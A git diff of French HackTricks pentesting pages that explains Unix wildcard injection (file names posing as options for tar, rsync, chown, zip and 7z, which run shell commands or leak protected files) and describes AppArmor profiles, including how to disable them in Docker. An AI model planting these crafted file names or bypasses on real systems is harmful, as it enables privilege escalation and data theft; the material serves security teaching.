- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,70 +1,68 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## chown, chmod
|
||||
|
||||
Vous pouvez **indiquer quel propriétaire de fichier et quelles autorisations vous souhaitez copier pour le reste des fichiers**.
|
||||
Vous pouvez **indiquer quel propriétaire de fichier et quelles permissions vous souhaitez copier pour le reste des fichiers**
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
```
|
||||
Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque combinée)_\
|
||||
__Plus d'informations dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
__Plus d'informations sur [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Tar
|
||||
|
||||
**Exécuter des commandes arbitraires:**
|
||||
**Exécuter des commandes arbitraires :**
|
||||
```bash
|
||||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque tar)_\
|
||||
__Plus d'informations dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
__Plus d'infos sur [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
||||
**Exécuter des commandes arbitraires:**
|
||||
**Exécuter des commandes arbitraires :**
|
||||
```bash
|
||||
Interesting rsync option from manual:
|
||||
|
||||
-e, --rsh=COMMAND specify the remote shell to use
|
||||
--rsync-path=PROGRAM specify the rsync to run on remote machine
|
||||
-e, --rsh=COMMAND specify the remote shell to use
|
||||
--rsync-path=PROGRAM specify the rsync to run on remote machine
|
||||
```
|
||||
|
||||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
```
|
||||
Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque rsync)_\
|
||||
__Plus d'informations dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque _rsync_)\
|
||||
__Plus d'informations sur [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
Dans **7z**, même en utilisant `--` avant `*` (notez que `--` signifie que l'entrée suivante ne peut pas être traitée comme des paramètres, donc seulement des chemins de fichiers dans ce cas), vous pouvez provoquer une erreur arbitraire pour lire un fichier. Ainsi, si une commande comme celle-ci est exécutée par root:
|
||||
Dans **7z**, même en utilisant `--` avant `*` (notez que `--` signifie que l'entrée suivante ne peut pas être traitée comme des paramètres, donc juste des chemins de fichiers dans ce cas), vous pouvez provoquer une erreur arbitraire pour lire un fichier, donc si une commande comme la suivante est exécutée par root :
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
```
|
||||
Et vous pouvez créer des fichiers dans le dossier où cela est exécuté, vous pouvez créer le fichier `@root.txt` et le fichier `root.txt` étant un **lien symbolique** vers le fichier que vous voulez lire:
|
||||
Et si vous pouvez créer des fichiers dans le dossier où cela est exécuté, vous pourriez créer le fichier `@root.txt` et le fichier `root.txt` étant un **symlink** vers le fichier que vous souhaitez lire :
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
||||
```
|
||||
Ensuite, lorsque **7z** est exécuté, il traitera `root.txt` comme un fichier contenant la liste des fichiers qu'il doit compresser (c'est ce que l'existence de `@root.txt` indique) et lorsqu'il lit `root.txt`, il lit `/file/you/want/to/read` et **comme le contenu de ce fichier n'est pas une liste de fichiers, il générera une erreur** en affichant le contenu.
|
||||
Ensuite, lorsque **7z** est exécuté, il traitera `root.txt` comme un fichier contenant la liste des fichiers qu'il doit compresser (c'est ce que l'existence de `@root.txt` indique) et lorsque 7z lit `root.txt`, il lira `/file/you/want/to/read` et **comme le contenu de ce fichier n'est pas une liste de fichiers, il générera une erreur** affichant le contenu.
|
||||
|
||||
_Plus d'informations dans les Write-ups de la boîte CTF de HackTheBox._
|
||||
_Plus d'informations dans les Write-ups de la box CTF de HackTheBox._
|
||||
|
||||
## Zip
|
||||
|
||||
|
@ -72,18 +70,18 @@ _Plus d'informations dans les Write-ups de la boîte CTF de HackTheBox._
|
|||
```bash
|
||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,33 +1,50 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
**AppArmor** est une amélioration du noyau pour confiner les **programmes** à un **ensemble limité de ressources** avec des **profils par programme**. Les profils peuvent **autoriser des capacités** telles que l'accès au réseau, l'accès aux sockets bruts et la permission de lire, écrire ou exécuter des fichiers sur des chemins correspondants.
|
||||
**AppArmor** est une amélioration du noyau pour confiner les **programmes** à un ensemble **limité** de **ressources** avec des **profils par programme**. Les profils peuvent **autoriser** des **capacités** comme l'accès au réseau, l'accès aux sockets bruts et la permission de lire, écrire ou exécuter des fichiers sur des chemins correspondants.
|
||||
|
||||
Il s'agit d'un contrôle d'accès obligatoire ou **MAC** qui lie les **attributs de contrôle d'accès aux programmes plutôt qu'aux utilisateurs**.\
|
||||
Le confinement AppArmor est fourni via des **profils chargés dans le noyau**, généralement au démarrage.\
|
||||
C'est un Contrôle d'Accès Obligatoire ou **MAC** qui lie les attributs de **contrôle d'accès** **aux programmes plutôt qu'aux utilisateurs**.\
|
||||
La confinement AppArmor est fourni via des **profils chargés dans le noyau**, généralement au démarrage.\
|
||||
Les profils AppArmor peuvent être dans l'un des **deux modes** :
|
||||
|
||||
* **Exécution**: Les profils chargés en mode exécution entraîneront **l'application de la politique** définie dans le profil **ainsi que la signalisation** des tentatives de violation de la politique (soit via syslog, soit via auditd).
|
||||
* **Plainte**: Les profils en mode plainte **n'appliqueront pas la politique** mais **signalent** plutôt les tentatives de **violation de la politique**.
|
||||
* **Enforcement** : Les profils chargés en mode enforcement entraîneront l'**application de la politique** définie dans le profil **ainsi que le signalement** des tentatives de violation de la politique (soit via syslog ou auditd).
|
||||
* **Complain** : Les profils en mode complain **n'appliqueront pas la politique** mais **signaleront** les tentatives de **violation** de la politique.
|
||||
|
||||
AppArmor diffère de certains autres systèmes MAC sur Linux : il est **basé sur le chemin**, il permet le mélange de profils en mode exécution et en mode plainte, il utilise des fichiers d'inclusion pour faciliter le développement et il a une barrière d'entrée bien plus faible que d'autres systèmes MAC populaires.
|
||||
AppArmor se distingue de certains autres systèmes MAC sur Linux : il est **basé sur les chemins**, il permet de mélanger les profils en mode enforcement et complain, il utilise des fichiers d'inclusion pour faciliter le développement, et il a une barrière d'entrée beaucoup plus basse que d'autres systèmes MAC populaires.
|
||||
|
||||
## Parties d'AppArmor
|
||||
## Composants d'AppArmor
|
||||
|
||||
* **Module du noyau**: Effectue le travail réel
|
||||
* **Politiques**: Définit le comportement et la confinement
|
||||
* **Analyseur**: Charge les politiques dans le noyau
|
||||
* **Utilitaires**: Programmes en mode utilisateur pour interagir avec apparmor
|
||||
* **Module du noyau** : Effectue le travail réel
|
||||
* **Politiques** : Définit le comportement et le confinement
|
||||
* **Analyseur** : Charge les politiques dans le noyau
|
||||
* **Utilitaires** : Programmes en mode utilisateur pour interagir avec apparmor
|
||||
|
||||
## Chemin des profils
|
||||
|
||||
Les profils Apparmor sont généralement enregistrés dans _**/etc/apparmor.d/**_\
|
||||
Avec `sudo aa-status`, vous pourrez lister les binaires qui sont restreints par un profil. Si vous pouvez changer le caractère "/" pour un point du chemin de chaque binaire répertorié, vous obtiendrez le nom du profil apparmor à l'intérieur du dossier mentionné.
|
||||
Les profils Apparmor sont généralement sauvegardés dans _**/etc/apparmor.d/**_\
|
||||
Avec `sudo aa-status`, vous pourrez lister les binaires qui sont restreints par un profil. Si vous pouvez changer le caractère "/" par un point du chemin de chaque binaire listé, vous obtiendrez le nom du profil apparmor dans le dossier mentionné.
|
||||
|
||||
Par exemple, un profil **apparmor** pour _/usr/bin/man_ sera situé dans _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
## Commandes
|
||||
```
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
aa-complain #set profile to complain mode (from diable or enforcement)
|
||||
apparmor_parser #to load/reload an altered policy
|
||||
|
@ -37,40 +54,40 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
# Création d'un profil
|
||||
|
||||
* Pour indiquer l'exécutable affecté, les **chemins absolus et les caractères génériques** sont autorisés (pour la recherche de fichiers) pour spécifier les fichiers.
|
||||
* Pour indiquer l'accès que le binaire aura aux **fichiers**, les **contrôles d'accès** suivants peuvent être utilisés :
|
||||
* **r** (lecture)
|
||||
* **w** (écriture)
|
||||
* **m** (cartographie de la mémoire en tant qu'exécutable)
|
||||
* **k** (verrouillage de fichier)
|
||||
* **l** (création de liens durs)
|
||||
* **ix** (pour exécuter un autre programme avec le nouveau programme héritant de la politique)
|
||||
* **Px** (exécuter sous un autre profil, après nettoyage de l'environnement)
|
||||
* **Cx** (exécuter sous un profil enfant, après nettoyage de l'environnement)
|
||||
* **Ux** (exécuter sans confinement, après nettoyage de l'environnement)
|
||||
* Des **variables** peuvent être définies dans les profils et peuvent être manipulées depuis l'extérieur du profil. Par exemple : @{PROC} et @{HOME} (ajouter #include \<tunables/global> au fichier de profil)
|
||||
* Les **règles de refus sont prises en charge pour remplacer les règles d'autorisation**.
|
||||
* Afin d'indiquer l'exécutable affecté, les **chemins absolus et les caractères jokers** sont autorisés (pour la recherche de fichiers) pour spécifier les fichiers.
|
||||
* Pour indiquer l'accès que le binaire aura sur les **fichiers**, les **contrôles d'accès** suivants peuvent être utilisés :
|
||||
* **r** (lecture)
|
||||
* **w** (écriture)
|
||||
* **m** (cartographie mémoire comme exécutable)
|
||||
* **k** (verrouillage de fichier)
|
||||
* **l** (création de liens physiques)
|
||||
* **ix** (pour exécuter un autre programme avec la nouvelle politique héritée)
|
||||
* **Px** (exécuter sous un autre profil, après nettoyage de l'environnement)
|
||||
* **Cx** (exécuter sous un profil enfant, après nettoyage de l'environnement)
|
||||
* **Ux** (exécuter sans contrainte, après nettoyage de l'environnement)
|
||||
* Les **variables** peuvent être définies dans les profils et peuvent être manipulées de l'extérieur du profil. Par exemple : @{PROC} et @{HOME} (ajouter #include \<tunables/global> au fichier de profil)
|
||||
* **Les règles de refus sont prises en charge pour remplacer les règles d'autorisation**.
|
||||
|
||||
## aa-genprof
|
||||
|
||||
Pour commencer facilement à créer un profil, apparmor peut vous aider. Il est possible de faire **inspecter les actions effectuées par un binaire par apparmor, puis de vous laisser décider quelles actions vous voulez autoriser ou refuser**.\
|
||||
Pour commencer facilement à créer un profil, apparmor peut vous aider. Il est possible de faire en sorte qu'**apparmor inspecte les actions effectuées par un binaire puis vous laisse décider quelles actions vous souhaitez autoriser ou refuser**.\
|
||||
Il suffit d'exécuter :
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
Ensuite, dans une console différente, effectuez toutes les actions que le binaire effectuera normalement :
|
||||
Ensuite, dans une console différente, effectuez toutes les actions que le binaire effectuerait habituellement :
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Ensuite, dans la première console, appuyez sur "**s**" et indiquez ensuite si vous voulez ignorer, autoriser ou autre chose pour les actions enregistrées. Lorsque vous avez terminé, appuyez sur "**f**" et le nouveau profil sera créé dans _/etc/apparmor.d/path.to.binary_
|
||||
Ensuite, dans la première console, appuyez sur "**s**" puis dans les actions enregistrées indiquez si vous souhaitez ignorer, autoriser, ou autre. Lorsque vous avez terminé, appuyez sur "**f**" et le nouveau profil sera créé dans _/etc/apparmor.d/chemin.vers.le.binaire_
|
||||
|
||||
{% hint style="info" %}
|
||||
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/autre
|
||||
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous souhaitez autoriser/refuser/autre
|
||||
{% endhint %}
|
||||
|
||||
## aa-easyprof
|
||||
|
||||
Vous pouvez également créer un modèle de profil apparmor d'un binaire avec:
|
||||
Vous pouvez également créer un modèle de profil apparmor pour un binaire avec :
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -84,22 +101,22 @@ sudo aa-easyprof /path/to/binary
|
|||
# No template variables specified
|
||||
|
||||
"/path/to/binary" {
|
||||
#include <abstractions/base>
|
||||
#include <abstractions/base>
|
||||
|
||||
# No abstractions specified
|
||||
# No abstractions specified
|
||||
|
||||
# No policy groups specified
|
||||
# No policy groups specified
|
||||
|
||||
# No read paths specified
|
||||
# No read paths specified
|
||||
|
||||
# No write paths specified
|
||||
# No write paths specified
|
||||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que par défaut, dans un profil créé, rien n'est autorisé, donc tout est refusé. Vous devrez ajouter des lignes comme `/etc/passwd r,` pour autoriser la lecture du binaire `/etc/passwd`, par exemple.
|
||||
Notez que par défaut dans un profil créé, rien n'est autorisé, donc tout est refusé. Vous devrez ajouter des lignes comme `/etc/passwd r,` pour permettre au binaire de lire `/etc/passwd` par exemple.
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez ensuite **forcer** le nouveau profil avec
|
||||
Vous pouvez ensuite **appliquer** le nouveau profil avec
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
|
@ -110,7 +127,7 @@ L'outil suivant lira les journaux et demandera à l'utilisateur s'il souhaite au
|
|||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/quelque chose d'autre.
|
||||
En utilisant les touches fléchées, vous pouvez sélectionner ce que vous souhaitez autoriser/refuser/autre
|
||||
{% endhint %}
|
||||
|
||||
## Gestion d'un profil
|
||||
|
@ -123,7 +140,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
|||
```
|
||||
# Journaux
|
||||
|
||||
Exemple de journaux **AUDIT** et **DENIED** provenant de _/var/log/audit/audit.log_ de l'exécutable **`service_bin`**:
|
||||
Exemple de journaux **AUDIT** et **DENIED** provenant de _/var/log/audit/audit.log_ de l'exécutable **`service_bin`** :
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
|
@ -148,39 +165,39 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
|||
```
|
||||
# Apparmor dans Docker
|
||||
|
||||
Notez comment le profil **docker-profile** de Docker est chargé par défaut:
|
||||
Notez comment le profil **docker-profile** de docker est chargé par défaut :
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
50 profiles are loaded.
|
||||
13 profiles are in enforce mode.
|
||||
/sbin/dhclient
|
||||
/usr/bin/lxc-start
|
||||
/usr/lib/NetworkManager/nm-dhcp-client.action
|
||||
/usr/lib/NetworkManager/nm-dhcp-helper
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_java
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
|
||||
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
|
||||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
/sbin/dhclient
|
||||
/usr/bin/lxc-start
|
||||
/usr/lib/NetworkManager/nm-dhcp-client.action
|
||||
/usr/lib/NetworkManager/nm-dhcp-helper
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_java
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
|
||||
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
|
||||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
Par défaut, le profil **Apparmor docker-default** est généré à partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Par défaut, le **profil Apparmor docker-default** est généré à partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Résumé du profil **docker-default**:
|
||||
**Résumé du profil docker-default** :
|
||||
|
||||
* **Accès** à tous les **réseaux**
|
||||
* Aucune **capacité** n'est définie (Cependant, certaines capacités proviendront de l'inclusion de règles de base de base, c'est-à-dire #include \<abstractions/base>)
|
||||
* L'**écriture** dans n'importe quel fichier **/proc** n'est **pas autorisée**
|
||||
* Les autres **sous-répertoires/fichiers** de /**proc** et /**sys** se voient **refuser** l'accès en lecture/écriture/verrouillage/liens/exécution
|
||||
* Le **montage** n'est **pas autorisé**
|
||||
* **Accès** à tout le **réseau**
|
||||
* **Aucune capacité** n'est définie (Cependant, certaines capacités proviendront de l'inclusion de règles de base de base, par ex. #include \<abstractions/base>)
|
||||
* **L'écriture** dans un fichier **/proc** n'est **pas autorisée**
|
||||
* D'autres **sous-répertoires**/**fichiers** de /**proc** et /**sys** se voient **refuser** l'accès en lecture/écriture/verrouillage/lien/exécution
|
||||
* **Le montage** n'est **pas autorisé**
|
||||
* **Ptrace** ne peut être exécuté que sur un processus confiné par le **même profil apparmor**
|
||||
|
||||
Une fois que vous **exécutez un conteneur docker**, vous devriez voir la sortie suivante:
|
||||
Une fois que vous **exécutez un conteneur docker**, vous devriez voir la sortie suivante :
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
docker-default (825)
|
||||
```
|
||||
Notez que **apparmor bloquera même les privilèges de capacités** accordés au conteneur par défaut. Par exemple, il sera capable de **bloquer la permission d'écrire à l'intérieur de /proc même si la capacité SYS_ADMIN est accordée** car par défaut, le profil apparmor de docker refuse cet accès:
|
||||
Notez que **apparmor bloquera même les privilèges de capacités** accordés au conteneur par défaut. Par exemple, il pourra **bloquer la permission d'écrire dans /proc même si la capacité SYS_ADMIN est accordée** car par défaut le profil apparmor de docker refuse cet accès :
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
|
@ -190,28 +207,42 @@ Vous devez **désactiver apparmor** pour contourner ses restrictions :
|
|||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Notez que par défaut, **AppArmor** interdit également au conteneur de monter des dossiers depuis l'intérieur même avec la capacité SYS_ADMIN.
|
||||
Notez que par défaut, **AppArmor** interdira également **au conteneur de monter** des dossiers de l'intérieur même avec la capacité SYS_ADMIN.
|
||||
|
||||
Notez que vous pouvez **ajouter/supprimer** des **capacités** au conteneur Docker (cela sera toujours restreint par des méthodes de protection telles que **AppArmor** et **Seccomp**):
|
||||
Notez que vous pouvez **ajouter/supprimer** des **capacités** au conteneur docker (cela sera toujours restreint par des méthodes de protection comme **AppArmor** et **Seccomp**):
|
||||
|
||||
* `--cap-add=SYS_ADMIN`_ _donne_ _la capacité `SYS_ADMIN`
|
||||
* `--cap-add=ALL`_ _donne_ _toutes les capacités
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` supprime toutes les capacités et ne donne que `SYS_PTRACE`
|
||||
* `--cap-add=SYS_ADMIN` _donne_ la cap `SYS_ADMIN`
|
||||
* `--cap-add=ALL` _donne_ toutes les caps
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` supprime toutes les caps et ne donne que `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Généralement, lorsque vous **découvrez** que vous avez une **capacité privilégiée** disponible **à l'intérieur** d'un **conteneur docker mais** que certaines parties de l'**exploit ne fonctionnent pas**, cela est dû à ce que **AppArmor de docker l'empêche**.
|
||||
